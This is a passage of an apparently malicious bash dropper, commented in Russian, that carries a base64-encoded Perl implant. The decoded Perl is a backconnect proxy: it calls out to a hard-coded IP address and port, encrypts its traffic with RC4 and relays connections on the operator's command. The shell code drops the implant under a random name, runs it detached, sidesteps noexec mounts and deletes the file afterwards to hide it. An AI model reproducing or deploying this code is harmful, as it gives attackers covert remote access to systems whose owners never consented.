QkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_e32f1deb() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYW